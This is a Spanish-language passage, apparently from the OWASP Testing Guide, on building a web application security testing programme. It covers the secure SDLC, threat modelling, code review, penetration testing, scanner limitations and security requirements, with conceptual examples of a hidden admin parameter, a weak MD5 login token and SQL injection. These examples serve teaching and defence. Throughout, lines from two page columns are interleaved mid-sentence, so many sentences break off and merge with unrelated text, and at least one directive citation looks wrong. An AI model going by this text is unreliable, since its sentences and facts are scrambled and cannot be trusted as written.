críticas que otros programas, ya que las aplicaciones web están expuestas a La mayoría de la gente, hoy en día, no prueba el software hasta que ya ha sido
millones de usuarios a través de Internet. creado y está en la fase de despliegue de su ciclo de vida (es decir, el código ha sido
creado y utilizado en una aplicación web activa). Esto suele ser una práctica muy
ineficaz y con un costo prohibitivo. Uno de los mejores métodos para impedir que
haya fallos de seguridad que aparecen en aplicaciones en producción es mejorar el
¿Qué es probar? Ciclo de Vida de Desarrollo de Software (SDLC), incluyendo seguridades en cada
una de sus fases. Un SDLC es una estructura impuesta sobre el desarrollo de
Durante el ciclo de vida de desarrollo de una aplicación web necesitan probarse artefactos de software. Si un SDLC actualmente no está siendo utilizando en su
muchas cosas, pero ¿qué significa realmente probar? El diccionario Merriam- entorno, ¡es hora de elegir uno! La siguiente figura muestra un modelo SDLC
Webster describe como: genérico, así como el costo creciente (estimado) de corrección de fallas de
seguridad en este modelo.
Este documento está diseñado para ayudar a las organizaciones a entender lo que
comprende un programa de pruebas y para ayudarles a identificar los pasos que
deben realizarse para construir y operar un programa de pruebas en aplicaciones
web. La guía ofrece una amplia visión de los elementos necesarios para hacer un
programa comprensible de seguridad para aplicaciones web. Esta guía puede
utilizarse como una guía de referencia y metodología para ayudar a determinar la
brecha entre las prácticas existentes y las mejores prácticas de la industria. Esta
guía permite a las organizaciones compararse con colegas del sector, para
comprender la magnitud de los recursos necesarios para probar y mantener el
software, o para prepararse para una auditoría. Este capítulo no entra en los detalles
Las empresas deben inspeccionar su SDLC para garantizar que la seguridad es
parte integral del proceso de desarrollo. Los SDLC deben incluir pruebas de
seguridad para garantizar que esta esté adecuadamente cubierta y los controles sean
eficaces durante todo el proceso de desarrollo.
Proceso – para asegurar que hay criterios y políticas adecuadas y que las No hay una bala de plata
A menos que se adopte un enfoque integral, sólo probar la aplicación técnica de Pensar estratégicamente, no tácticamente
una aplicación no destapará la gestión o vulnerabilidades operacionales que podrían
estar presentes. Probando a las personas, políticas y procesos, una organización En los últimos años, los profesionales de la seguridad se han dado cuenta de la
puede encontrar temas que después se manifiesten en defectos en la tecnología, así falacia del modelo de remendar y penetrar que fue dominante en la seguridad de la
como erradicar errores tempranamente e identificar la causa de los defectos. información durante la década de 1990. El modelo de remendar y penetrar implica
Además, sólo probando algunas de las cuestiones técnicas que pueden estar corregir un error reportado, pero sin una investigación adecuada de la causa inicial.
presentes en un sistema resultará en una evaluación de seguridad incompleta e Este modelo se asocia generalmente a la ventana de vulnerabilidad que se muestra
inexacta. en la figura siguiente. La evolución de las vulnerabilidades en software común
utilizado en todo el mundo ha demostrado la ineficacia de este modelo. Para
obtener más información acerca de la ventana de la vulnerabilidad, consulte [6].
y sugerencias. Especialmente nos gusta saber que nuestro trabajo está siendo
utilizado y que es eficaz y preciso.
Figura 2: Ventana de vulnerabilidad
Hay algunos errores comunes al desarrollar una metodología de pruebas para
encontrar las fallas de seguridad en el software. Este capítulo cubre algunos de los
principios básicos que los profesionales deben tomar en cuenta al realizar pruebas
de seguridad en el software.
Hay varios marcos seguros de SDLC que ofrecen consejos tanto descriptivos como
prescriptivos. Si una persona toma el consejo descriptivo o preceptivo, depende de
la madurez del proceso de SDLC. Esencialmente, el asesoramiento prescriptivo
muestra cómo debe trabajar el SDLC seguro y el asesoramiento descriptivo
muestra cómo debe usarse en el mundo real. Ambos tienen su lugar.
Por ejemplo, si no sabe por dónde empezar, un marco prescriptivo puede herramientas automatizadas son realmente malas al realizar pruebas de
proporcionar un menú de controles de seguridad potenciales que pueden aplicarse vulnerabilidad automáticamente es que este pensamiento creativo debe hacerse
en el SDLC. El asesoramiento descriptivo puede entonces impulsar el proceso de caso por caso, ya que la mayoría de las aplicaciones web se desarrollan de una
decisión mediante la presentación de lo que ha funcionado bien para otras manera única (aun cuando usen marcos comunes).
organizaciones. SDLC descriptivos seguros son BSIMM-V, y SDLC prescriptivos
seguros incluyen el Software Abierto de Modelo de Garantía de Madurez de
OWASP (OpenSAMM) y el ISO/IEC 27034, partes 1-8, segmentos del cual
todavía están en desarrollo. Entender el tema
constantemente y los desarrolladores deben ser conscientes de las amenazas que Aunque ya hemos indicado que no hay ninguna herramienta perfecta, las
afectan al software que están desarrollando. La educación en pruebas de seguridad herramientas juegan un papel crítico en el programa general de seguridad. Hay una
también ayuda a los desarrolladores a adquirir la mentalidad apropiada para probar gama de herramientas de código abierto y herramientas comerciales que pueden
una aplicación desde la perspectiva de un atacante. Esto permite a cada automatizar muchas tareas rutinarias de seguridad. Estas herramientas pueden
organización considerar los problemas de seguridad como parte de sus simplificar y acelerar el proceso de seguridad al ayudar al personal de seguridad en
responsabilidades actuales. sus tareas. Sin embargo, es importante entender exactamente lo que estas
herramientas pueden y no pueden hacer para que no se sobrevaloren o se utilicen
incorrectamente.
Es importante saber cuánta seguridad requerirá un proyecto. La información y los El Diablo se encuentra en los detalles
activos que deben ser protegidos deberán tener una clasificación que establezca
cómo deben ser manejados (por ejemplo, confidencial, secreto, ultra secreto). Las Es fundamental no realizar una revisión superficial de la seguridad de una
discusiones deben llevarse a cabo con consejo legal para asegurarse de que se aplicación y considerarla completa. Esto generará una falsa sensación de confianza
cumplan los requisitos de seguridad específicos. En E.E.U.U., los requisitos que puede ser tan peligrosa como el no haber hecho una revisión de seguridad
podrían venir de regulaciones federales, como la ley de Gramm-Leach-Bliley [8], o desde un inicio. Es vital revisar los hallazgos y descartar
de las leyes estatales, como la ley de California SB-1386 [9]. Para organizaciones
con sede en países de la UE, tanto los reglamentos del país como las directivas de
la UE pueden aplicar. Por ejemplo, la Directiva 96/46/EC4 [10] que obliga a tratar
los datos personales con el debido cuidado, cualquiera que sea la aplicación. cualquier falso positivo que pueda haber en el informe. Reportar un hallazgo de
seguridad incorrecto a menudo puede minar la validez del resto del informe de
seguridad. Debe tener cuidado de verificar que cada sección de la lógica de la
aplicación ha sido probada, y que cada escenario de casos de usos fue explorado
Desarrollar la mentalidad correcta para encontrar posibles vulnerabilidades.
disponible, debería entregarse al personal de seguridad para ayudar a realizar su Utilizar una plantilla de informe de pruebas de seguridad puede ahorrar
revisión. Es posible descubrir vulnerabilidades dentro de la fuente de la aplicación tiempo y asegurar que los resultados sean documentados con precisión y
que pasaron desapercibidas con la prueba de la Caja Negra. consistencia y estén en un formato adecuado para el grupo objetivo.
Desarrollar métricas
• Modelado de Amenazas
Las métricas constantes que se pueden generar de manera automatizada desde
el código fuente disponible también ayudarán a la organización en la
• Revisión de Código
evaluación de la efectividad de los mecanismos creados para reducir los fallos
de seguridad en el desarrollo de software. Las métricas no se desarrollan
• Pruebas de Penetración
fácilmente, así que usar métricas estándar como las previstas por el proyecto
de métricas OWASP y otras organizaciones es un buen punto de partida.
Como con muchas cosas en la vida, al realizar inspecciones manuales y Para desarrollar un modelo de amenazas, se recomienda adoptar un enfoque
revisiones, es recomendable adoptar un modelo de "confíe pero verifique". No simple que sigue el estándar NIST 800-30 [11] de evaluación del riesgo. Este
todo lo que el evaluador muestre o diga será preciso. enfoque implica:
Ventajas:
Creación de modelos de amenazas
• Vista práctica del sistema desde el punto de vista del atacante.
Resumen • Flexible
La creación de modelos de amenazas se ha convertido en una técnica popular • Se inicia temprano en el SDLC.
para ayudar a los diseñadores de sistemas a pensar sobre las amenazas de
seguridad que podrían enfrentar sus sistemas y aplicaciones. Por lo tanto, la
creación de modelos de amenazas puede verse como la evaluación de riesgo
para las aplicaciones. De hecho, permite al diseñador desarrollar estrategias de Desventajas:
mitigación para las vulnerabilidades potenciales y les ayuda a focalizar su
inevitable escasez de recursos y atención en las partes del sistema que más lo • Técnica relativamente nueva.
requiere. Se recomienda que todas las aplicaciones tengan un modelaje de
amenazas desarrollado y documentado. Los modelos de amenazas deben • Buenos modelos de amenazas no significan automáticamente buenas
crearse lo antes posible en el SDLC y deben ser revisados mientras evoluciona aplicaciones.
la aplicación y el desarrollo progresa.
Las pruebas de penetración han sido, por muchos años, una técnica común
utilizada para probar la seguridad de la red. También se las conoce
comúnmente como pruebas de Caja Negra o piratería (hacking) ética. Las
Muchos problemas de seguridad no intencionales, pero significativos, son
pruebas de penetración son esencialmente el "arte" de probar una aplicación
también extremadamente difíciles de descubrir mediante otras formas de
en ejecución remotamente para encontrar vulnerabilidades de seguridad, sin
análisis o pruebas, como las pruebas de penetración; hacen del análisis de
saber el funcionamiento interno de la aplicación. Por lo general, el equipo de
código fuente la técnica elegida para la prueba técnica. Con el código fuente,
pruebas de penetración tendría acceso a una aplicación como si fuera usuario.
un evaluador puede determinar con precisión lo que está sucediendo (o se
El evaluador actúa como un intruso e intenta encontrar y explotar
supone que sucede) y eliminar la conjetura de la prueba de Caja Negra.
vulnerabilidades. En muchos casos, al evaluador se le dará una cuenta válida
en el sistema.
Ventajas:
Muchas personas utilizan hoy en día las pruebas de penetración como su
• Finalización y efectividad.
técnica de pruebas de seguridad primaria. Aunque ciertamente tiene su lugar en
un programa de pruebas, no creemos que debe ser considerada como la técnica
• Precisión.
principal o la única. Gary McGraw en [14] resumió bien a las pruebas de
• Es rápida (para correctores competentes). penetración cuando dijo: "Si fallas una prueba de penetración, sabes que tienes
un problema muy malo en verdad. Si pasas una prueba de penetración, no sabes
si tienes un problema muy malo". Sin embargo, las pruebas de penetración
focalizadas (es decir, pruebas que buscan explotar vulnerabilidades conocidas
Desventajas: y detectadas en revisiones anteriores) pueden ser útiles en la detección si
realmente se arreglan algunas vulnerabilidades específicas en el código desafíen todos los supuestos, tales como el no acceso al código fuente y el explorar
desplegado en el sitio web. la posibilidad de realizar pruebas más completas.
Aunque es claro que no existe una técnica única que pueda realizarse para cubrir
eficientemente todas las pruebas de seguridad y asegurarse de que todos los temas En la siguiente figura se muestra una típica representación proporcional
sobrepuesta a las pruebas técnicas.
han sido abordados, muchas empresas adoptan sólo una aproximación. El enfoque
utilizado ha sido históricamente pruebas de penetración. Las pruebas de
penetración, aunque útiles, no pueden abordar eficazmente muchos de los temas
que deben analizarse. Simplemente es "muy poco y muy tarde" en el ciclo de vida
del desarrollo de software (SDLC). Figura 4: Proporción de prueba de esfuerzo según prueba técnica
Por supuesto, hay momentos y circunstancias donde solo es posible usar una
técnica. Por ejemplo, una prueba en una aplicación web que ya ha sido creada, pero
donde el grupo de pruebas no tiene acceso al código fuente. En este caso, las
pruebas de penetración son claramente mejores que no hacer ninguna prueba en
absoluto. Sin embargo, se recomienda que las personas encargadas de la prueba
Una nota acerca de los escáneres de aplicaciones Web:
Muchas organizaciones han empezado a utilizar escáneres de aplicaciones web Mirando el código, la vulnerabilidad prácticamente salta de la página como un
automatizados. Aunque sin duda tienen su lugar en un programa de pruebas, problema potencial.
algunos temas fundamentales deben ser resaltados porque se cree que las pruebas
de Caja Negra automatizadas no son (o serán algún día) eficaces. Sin embargo,
destacar estos temas no debería desalentar el uso de los escáneres de aplicación
web. Por el contrario, el objetivo es asegurar que se entienden las limitaciones y, Ejemplo 2: Mala criptografía
así, los marcos de pruebas se planeen adecuadamente.
La criptografía es ampliamente utilizada en aplicaciones web. Imagine que un
desarrollador decidió escribir un algoritmo de criptografía simple para autenticar un
usuario desde el sitio A al sitio B automáticamente. En su sabiduría, el
Importante: OWASP actualmente está trabajando para desarrollar una plataforma desarrollador decide que si un usuario está conectado en el sitio A, entonces
de escaneo mediante una evaluación comparativa. Los ejemplos siguientes generará una clave utilizando una función de hash MD5 que comprende: Hash
muestran por qué las pruebas automatizadas de Caja Negra son ineficaces. {username: fecha}.
'Ejemplo 1: Los parámetros mágicos' Cuando un usuario se pasa al sitio B, él o ella le enviará la clave en la cadena de
consulta al sitio B en el re direccionamiento HTTP. El sitio B independientemente
Imagine una aplicación web simple que acepte un par nombre-valor de "magia" y calcula el valor hash y compara con el hash pasado en la petición. Si coinciden, el
luego el valor. Para simplificar, la solicitud GET puede ser: sitio B autentica al usuario como dice ser.
http://www.host/application?magic=value Al explicar el esquema, las deficiencias pueden trabajarse. Cualquiera que entienda
el esquema (o se le diga cómo funciona, o descargue la información de Bugtraq)
Para simplificar más el ejemplo, los valores en este caso solo pueden ser caracteres puede iniciar una sesión como cualquier usuario.
ASCII a-z (mayúsculas o minúsculas) y números enteros 0 – 9.
La inspección manual, como una revisión o inspección de código, habría
descubierto rápidamente este problema de seguridad. Un escáner de aplicaciones
web de Caja Negra no habría descubierto la vulnerabilidad. Habría visto un hash de
Los diseñadores de esta aplicación crearon una puerta trasera de administración 128 bits que cambia con cada usuario, y por la naturaleza de las funciones hash, no
durante la prueba, pero la ofuscaron para evitar que un observador casual pueda cambió en una manera predecible.
descubrirla. Enviando el valor sf8g7sfjdsurtsdieerwqredsgnfg8d (31 caracteres), el
usuario, entonces, se conectará y tendrá una pantalla administrativa con el control Una nota sobre las herramientas de revisión de códigos fuente estáticas:
total de la aplicación. La solicitud HTTP es ahora:
Muchas organizaciones han comenzado a usar escáneres estáticos de códigos
http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d fuente. Aunque, sin duda, tienen un lugar en un programa de pruebas
comprehensivo, es necesario resaltar algunas cuestiones fundamentales acerca de
por qué este enfoque no es eficaz cuando se utiliza solo. El análisis de código
fuente estático no puede identificar los problemas debidos a fallas en el diseño, ya
Dado que todos los otros parámetros fueron campos simples de dos y tres que no puede entender el
caracteres, no es posible adivinar combinaciones de aproximadamente 28
caracteres. Se necesitaría la fuerza bruta de un escáner de aplicaciones web (o
adivinar) para encontrar todo el espacio de clave de 30 caracteres. Que es hasta 30 ^
28 permutaciones, o trillones de peticiones HTTP. Esto es un electrón en un pajar contexto en el que se construye el código. Las herramientas de análisis de código
digital. fuente son útiles en la determinación de problemas de seguridad debido a errores de
codificación; sin embargo, se requiere un esfuerzo manual significativo para validar
los resultados.
seguridad conducen efectivamente las pruebas de seguridad durante el SDLC y Otra sección de la lista de verificación debe cumplir con los requisitos generales
cómo se pueden utilizar los datos de pruebas de seguridad para gestionar para el cumplimiento de las políticas y normas de seguridad de información de la
eficazmente los riesgos de seguridad de software. organización. Desde la perspectiva de los requisitos funcionales, los requisitos para
el control de seguridad deben guiar a una sección específica de las normas de
seguridad de la información. Un ejemplo de tal requisito puede ser: "la complejidad
de la contraseña de seis caracteres alfanuméricos debe aplicarse por los controles de
Objetivos de realizar pruebas autenticación utilizados por la aplicación". Cuando los requisitos de seguridad
apuntan hacia normas que deben ser cumplidas, una prueba de seguridad puede
Uno de los objetivos de las pruebas de seguridad es validar que los controles de validar la exposición de riesgos de cumplimiento. Si se encuentra una violación a
seguridad funcionan como se espera. Esto se documenta por medio de requisitos de las políticas y normas de seguridad de la información, ésta resultará en un riesgo
seguridad que describen la funcionalidad del control de seguridad. En un nivel alto, que puede ser documentado y que la empresa tiene que gestionar. Puesto que estos
esto significa comprobar la confidencialidad, integridad y disponibilidad de los requisitos de seguridad son exigibles, estos deben estar bien documentados y
datos, así como el servicio. El otro objetivo es validar que los controles de validados con pruebas de seguridad.
seguridad se implementen con pocas o ninguna vulnerabilidad. Hay
vulnerabilidades comunes, tales como el OWASP Top Ten, así como las
vulnerabilidades que se han identificado previamente en evaluaciones de seguridad
durante el SDLC, como modelaje de amenazas, análisis de código fuente y prueba Validación de requisitos de seguridad
de penetración.
Desde la perspectiva de funcionalidad, la validación de requisitos de seguridad
Documentación de requisitos de seguridad es el principal objetivo de las pruebas de seguridad. Desde la perspectiva de la
gestión de riesgo, la validación de requisitos de seguridad es el objetivo de las
El primer paso en la documentación de requisitos de seguridad es entender los evaluaciones de seguridad de información. En un nivel alto, el principal objetivo
requerimientos del negocio. Un documento de requisitos del negocio puede de las evaluaciones de seguridad de información es la identificación de grietas en
proporcionar información inicial de alto nivel sobre la funcionalidad esperada de la los controles de seguridad, tales como la falta de controles básicos de
aplicación. Por ejemplo, el propósito principal de una aplicación puede ser autenticación, autorización o controles de encriptado. Más a profundidad, el
proporcionar servicios financieros a clientes o permitir adquirir bienes de un objetivo de la evaluación de seguridad es el análisis de riesgo, tal como la
catálogo en línea. Una sección de seguridad de los requerimientos del negocio debe identificación de las debilidades potenciales en los controles de seguridad que
resaltar la necesidad de proteger los datos del cliente, así como cumplir con la garanticen la confidencialidad, integridad y disponibilidad de los datos. Por
documentación de seguridad aplicable, tal como regulaciones, estándares y ejemplo, cuando la aplicación trata con información personal identificable (PII)
políticas. y datos sensibles, el requisito de seguridad a validar es el cumplimiento de las
políticas de seguridad de la empresa en cuanto al encriptado de la información
de dichos datos tanto en tránsito como en almacenamiento.
Una lista general de las regulaciones, estándares y políticas es un buen análisis de Asumiendo que el cifrado se utiliza para proteger los datos, los algoritmos de
cumplimiento de seguridad preliminar para las aplicaciones web. Por ejemplo, el cifrado y longitud de claves deben cumplir con los estándares de encriptación de
cumplimiento de las reglamentaciones puede identificarse revisando información la organización. Estos pueden requerir que solo se utilice ciertos algoritmos y
del sector empresarial y del país o estado donde funcionará la aplicación. Algunas longitudes de clave. Por ejemplo, un requisito de seguridad que puede ser
de estas normas y directrices de cumplimiento podrían traducirse en requerimientos probado es verificar que se utilizan sólo códigos permitidos (por ejemplo, SHA-
técnicos específicos para controles de seguridad. Por ejemplo, en el caso de 256, RSA, AES) con longitud de claves mínimas permitidas (por ejemplo, más
aplicaciones financieras, el cumplimiento de las pautas de la FFIEC para de 128 bits para encriptado simétrico y de más de 1024 para encriptado
autenticación [15] requiere que las instituciones financieras implementen asimétrico).
aplicaciones que mitiguen los riesgos de autenticación débil con autenticación de
múltiples etapas y control de seguridad multifactorial.
posible derivar mejor los casos de prueba de seguridad y aumentar el nivel de una función hash para cifrar una contraseña, sin la aplicación de una semilla en
protección de los requisitos de seguridad. Por ejemplo, distinguir las verdaderas el valor. Desde la perspectiva de codificación segura, se trata de una
vulnerabilidades de los no-explotables es posible cuando se combinan los vulnerabilidad que afecta a la encriptación usada para la autenticación con una
resultados de pruebas de penetración y análisis de código fuente. Considerando vulnerabilidad cuya causa está en el error de codificación. Puesto que la causa es
la prueba de seguridad para una vulnerabilidad de inyección de un S L, por una codificación insegura, el requisito de seguridad puede ser documentado en
ejemplo una prueba de Caja Negra,en primer lugar, podría involucrar un análisis las normas de codificación seguras y validado a través de revisiones de código
de la aplicación para identificar la vulnerabilidad. La primera evidencia de una seguro durante la fase de desarrollo de la SDLC.
potencial vulnerabilidad de inyección de una SQL que puede ser validada es la
generación de una excepción de la SQL. Una
validación posterior de la vulnerabilidad de la SQL puede implicar inyectar Los requerimientos de seguridad deben tomar en cuenta la gravedad de las
manualmente vectores de ataque para modificar la gramática de la consulta SQL vulnerabilidades para apoyar una estrategia de mitigación de riesgo. Asumiendo
para explotar la divulgación de la información. Esto podría involucrar una gran que la organización mantiene un registro de vulnerabilidades en aplicaciones (es
cantidad de análisis de ensayo y error hasta que la consulta dañina se ejecute. decir, una base de conocimiento de vulnerabilidades), los temas de seguridad
Suponiendo que el evaluador tenga el código fuente, ella puede aprender a partir pueden ser reportados por tema, tipo, causa principal, mitigación y direccionados
del análisis de código fuente, como construir el vector de ataque de la SQL que a las aplicaciones donde se encuentran. Tal base de conocimiento de
puede explotar la vulnerabilidad (por ejemplo, ejecutar una consulta maliciosa vulnerabilidades también puede utilizarse para establecer métricas para analizar
que devuelve datos confidenciales a un usuario no autorizado). la eficacia de las pruebas de seguridad en el SDLC.
La clasificación de amenazas y defensas, que considera la raíz de las Por ejemplo, considere un problema de validación de entrada, como una
vulnerabilidades, es el factor crítico en la verificación de que los controles de inyección de SQL, que se identificó a través del análisis del código fuente y
seguridad sean diseñados, codificados y construidos para mitigar el impacto de registrado con una causa principal de error de codificación y tipo, una
la exposición de esas vulnerabilidades. En el caso de las aplicaciones web, la vulnerabilidad de validación de entrada. La exposición de esta vulnerabilidad
exposición de los controles de seguridad para vulnerabilidades comunes, tales puede ser evaluada mediante una prueba de penetración, mediante el análisis de
como el OWASP Top Ten, puede ser un buen punto de partida para derivar los campos de entrada con varios vectores de ataque de inyección de SQL. Esta
requisitos generales de seguridad. Más concretamente, el framework de prueba puede validar que los caracteres especiales son filtrados antes de llegar a
seguridad de aplicaciones web [17] proporciona una clasificación (por ejemplo la base de datos y mitigan la vulnerabilidad. Combinando los resultados del
taxonomía) de vulnerabilidades que pueden ser documentadas en diferentes análisis de código fuente y pruebas de penetración es posible determinar la
guías y estándares diferentes y validados con pruebas de seguridad. probabilidad y la exposición a la vulnerabilidad y calcular la calificación de
riesgo de la vulnerabilidad. Informando las calificaciones de riesgo de
vulnerabilidad en los resultados (por ejemplo, informe de pruebas) es posible
decidir sobre la estrategia de mitigación. Por ejemplo, las vulnerabilidades de
El foco de una categorización de amenazas y defensas es definir los requisitos de mediano y alto riesgo pueden priorizarse para ser remediadas, mientras que las
seguridad en cuanto a las amenazas y la causa principal de la vulnerabilidad. de bajo riesgo se pueden arreglar en las siguientes versiones.
Una amenaza puede ser categorizada usando STRIDE [18] como Suplantación
de identidad, Manipulación, Repudio, revelación de Información, Negación de
servicio y Elevación de privilegios. La causa puede calificarse como falla de
seguridad en el diseño, un error de seguridad en la codificación o un problema Teniendo en cuenta los escenarios de amenaza de la explotación de
debido a una configuración insegura. Por ejemplo, la causa de la vulnerabilidad vulnerabilidades comunes, es posible identificar los riesgos potenciales que
de autenticación débil podría ser la falta de autenticación mutua cuando los datos deben probarse en el control de seguridad de la aplicación. Por ejemplo, las diez
cruzan un límite de confianza entre los niveles del cliente y de ensambles del vulnerabilidades más importantes de OWASP pueden ser direccionadas a
servidor de la aplicación. Un requisito de seguridad que capture la amenaza de ataques como el fraude electrónico (phishing), violaciones de privacidad, robo
no repudio durante una revisión del diseño de arquitectura permite la de identidad, sistema comprometido, alteración de datos o destrucción de datos,
documentación del requisito de defensa (por ejemplo, autenticación mutua) que pérdidas financieras y pérdida de reputación. Estos temas deberían documentarse
puede ser validada posteriormente con pruebas de seguridad. como parte de los escenarios de amenaza. Pensando en términos de amenazas y
vulnerabilidades, es posible diseñar una batería de pruebas que simulen estos
escenarios de ataque. Idealmente, la base de conocimientos de vulnerabilidades
de la organización puede utilizarse para derivar pruebas de seguridad dirigidas
Una categorización de amenazas y defensas para las vulnerabilidades puede por los casos de riesgos de seguridad para validar los escenarios de ataque más
utilizarse también para documentar requerimientos de seguridad de la probables. Por ejemplo, si el robo de identidad se considera de alto riesgo,
codificación segura como estándares de codificación seguras. Un ejemplo de un escenarios de prueba negativos deben validar la mitigación de los impactos
error de codificación común en los controles de autenticación consiste en aplicar
derivados de la explotación de las vulnerabilidades de autenticación, controles • La plantilla de restablecimiento de contraseña debe validar el nombre de
criptográficos, validación del ingreso y controles de validación. usuario y el email del usuario registrado antes de enviar la contraseña temporal
del usuario por correo electrónico. La contraseña temporal emitida debe ser una
contraseña de un solo uso. Se enviará un enlace a la página de restablecimiento
de contraseña al usuario. La página de restablecimiento de contraseña debe
validar la contraseña temporal del usuario, la contraseña nueva, así como la
respuesta del usuario a la pregunta de desafío.
Para validar los requisitos de seguridad con pruebas de seguridad, estos deben
Los requisitos negativos son más difíciles de probar, porque no hay ningún
estar impulsados por la función y necesitan resaltar la funcionalidad esperada (el
comportamiento esperado que se pueda buscar. Esto podría requerir que un
qué) e implícitamente la implementación (el cómo). Ejemplos de requisitos de
analista de amenazas cree causas y condiciones de entradas imprevisibles. Aquí
diseño de alto nivel de seguridad para la autenticación pueden ser:
es donde las pruebas de seguridad deben ser conducidas por el análisis de riesgo
y modelo de amenazas. La clave es documentar los escenarios de amenaza y la
funcionalidad de la defensa como factor para mitigar una amenaza.
hipótesis de prueba negativa. Un árbol de amenazas asumirá un ataque a la raíz Paso 1: Describa la situación funcional: El usuario autentica el ingreso mediante
(por ejemplo, el atacante podría ser capaz de leer mensajes de otros usuarios) e el suministro de un nombre de usuario y contraseña. La aplicación permite el
identificar las diferentes debilidades de los controles de seguridad (por ejemplo, acceso a los usuarios, basada en la autenticación de credenciales del usuario por
la validación de datos falla debido a una vulnerabilidad de inyección SQL) y las parte de la aplicación y proporciona errores específicos al usuario cuando la
defensas necesarias (por ejemplo, implementar la validación de datos y consultas validación falla.
parametrizadas) que pudieran ser validadas en su eficacia en la mitigación de
este tipo de ataques.
1) Las contraseñas deben ser alfanuméricas, mayúsculas y minúsculas y un Después de que los componentes y los cambios en el código son probados por
mínimo de longitud de siete caracteres; los desarrolladores y registrados en la estructura de la aplicación, el siguiente
paso, más probablemente en el flujo de trabajo del proceso de desarrollo de
2) Las cuentas deben bloquearse después de cinco intentos de registro sin éxito; software, es realizar pruebas en la aplicación como una entidad completa. Este
nivel de prueba se conoce generalmente como prueba integrada y prueba de
3) Los mensajes de error de registro deben ser genéricos. nivel de sistema. Cuando las pruebas de seguridad son parte de estas actividades
de pruebas, pueden utilizarse para validar la funcionalidad de seguridad de la
aplicación como un todo, así como la exposición a vulnerabilidades a nivel de
aplicación. Estas pruebas de seguridad en la aplicación incluyen tanto las
Estos requisitos de seguridad deben ser documentados y probados. pruebas de Caja Blanca como el análisis de código fuente; y las pruebas de Caja
Negra como pruebas de penetración. Las pruebas de Caja Gris son similares a
las pruebas de Caja Negra. En una prueba de Caja Gris se supone que el
evaluador tiene un conocimiento parcial sobre el manejo de la sesión de la
aplicación y que debe ayudar a entender si el registro de salida y funciones de
Las pruebas de seguridad integradas al desarrollo y flujos
tiempo de caducidad están bien aseguradas.
de trabajo de las pruebas de seguridad
El objetivo de las pruebas de seguridad es el sistema completo que será Desde la perspectiva del desarrollador, el principal objetivo de las pruebas de
potencialmente atacado e incluye el código fuente completo y el seguridad es validar que el código esté siendo desarrollado de acuerdo con los
requisitos de las normas de codificación segura. Los artefactos de codificación
de los desarrolladores (como las funciones, métodos, clases, APIs y bibliotecas)
deben ser validados funcionalmente antes de integrarse a la construcción de la
ejecutable. Una ventaja de las pruebas de seguridad durante esta fase de prueba aplicación.
es que es posible para los evaluadores de seguridad determinar si las
vulnerabilidades pueden ser explotadas y exponen a la aplicación a riesgos
reales. Esto incluye tanto a vulnerabilidades de aplicaciones web comunes como
a problemas de seguridad que se han identificado más temprano en el SDLC con Los requisitos de seguridad que los desarrolladores tienen que seguir deben ser
otras actividades como el modelo de amenazas, el análisis de código fuente y documentados en los estándares de codificación seguros y validados con el
revisiones de seguridad del código. análisis estático y dinámico. Si la actividad de la unidad de pruebas sigue una
revisión de códigos seguros, las pruebas de unidad pueden validar que los
cambios requeridos por las revisiones de seguridad de códigos se hayan
implementado correctamente. Las revisiones de seguridad de códigos y análisis
Por lo general, son los ingenieros de pruebas, no los desarrolladores de software, de código fuente a través de las herramientas de análisis de código fuente ayudan
quienes realizan las pruebas de seguridad cuando la aplicación está en la mira de a los desarrolladores en la identificación de problemas de seguridad en el código
las pruebas del sistema de integración. Estos ingenieros de pruebas tienen fuente mientras se desarrolla. Mediante el uso de pruebas de
conocimientos de seguridad acerca de vulnerabilidades de aplicaciones web,
técnicas de pruebas de seguridad de Caja Negra y Caja Blanca y dominan la
validación de requisitos de seguridad en esta fase. Para poder realizar estas
pruebas de seguridad, es un prerrequisito que los casos de pruebas de seguridad unidad y análisis dinámico (p. ej., depuración) los desarrolladores pueden validar
estén documentados en la guía y procedimientos de pruebas de seguridad. la funcionalidad de seguridad de los componentes, así como verificar que las
defensas que están siendo desarrolladas mitigan cualquier riesgo de seguridad
identificado previamente a través de la creación de modelos de amenazas y el
análisis de código fuente.
Un ingeniero de pruebas que valida la seguridad de la aplicación en el entorno
del sistema integrado podría liberar a la aplicación para ser probada en el entorno
operativo (por ejemplo, pruebas de aceptación del usuario). En esta etapa de
SDLC (es decir, validación), las pruebas funcionales de la aplicación son Una buena práctica de los desarrolladores es crear casos de prueba de seguridad
generalmente una responsabilidad de evaluadores QA, mientras que los hackers como un conjunto de pruebas de seguridad genéricas que forma parte del
de sombrero blanco o consultores de seguridad son generalmente responsables framework de pruebas de la unidad. Un conjunto de pruebas de seguridad
de las pruebas de seguridad. Algunas organizaciones se apoyan en su propio genérico puede derivarse de casos de uso correcto y mal uso previamente
equipo de hackers éticos especializados para llevar a cabo este tipo de pruebas definidos como funciones, métodos y clases. Un conjunto de pruebas de
cuando una evaluación externa no es necesaria (por ejemplo, para propósitos de seguridad genérica puede incluir casos de prueba de seguridad para validar tanto
auditoría). requisitos positivos como negativos para los controles de seguridad, tales como:
Puesto que estas pruebas son el último recurso para solucionar vulnerabilidades • Identidad, autenticación y control de acceso
antes de que la aplicación sea lanzada a la producción, es importante que estos
temas sean abordados según lo recomendado por el equipo de pruebas. Las • Validación de ingreso y codificación
recomendaciones pueden incluir cambios de código, diseño o configuración. En
este nivel, los auditores de seguridad y los oficiales de seguridad de la • Encriptado
información discuten sobre los temas de seguridad reportados y analizan los
riesgos potenciales según los procedimientos de gestión de riesgo de la • Administración de usuarios y sesión
información. Tales procedimientos pueden requerir que el equipo de desarrollo
corrija todas las vulnerabilidades de alto riesgo antes de que la aplicación sea • Manejo de errores y excepciones
liberada, a menos que tales riesgos sean reconocidos y aceptados.
• Auditoría y registro
pruebas de seguridad pueden ejecutarse para identificar posibles problemas de seguridad del desarrollador. Cuando se implementa una solución para un defecto
seguridad que tienen su causa principal en el código fuente. de codificación identificado mediante el análisis de código fuente; por ejemplo,
los casos de pruebas de seguridad, puede verificar que la aplicación del cambio
de código sigue los requisitos de codificación segura, documentados en los
estándares de codificación seguros.
Además de la validación de parámetros de entrada y salida, que entran y salen
de los componentes, estos temas incluyen verificaciones de autenticación y
autorización realizadas por el componente, protección de los datos dentro del
componente, excepción segura y manejo de errores y garantizar la auditoría y el Las pruebas de análisis de código fuente y de unidad pueden validar que el
registro. Los frameworks de la unidad de prueba tales como Junit, Nunit y Cunit cambio de código mitiga la vulnerabilidad expuesta por el defecto de
se pueden adaptar para verificar los requisitos de la prueba de seguridad. En el codificación previamente identificado. Los resultados del análisis automatizado
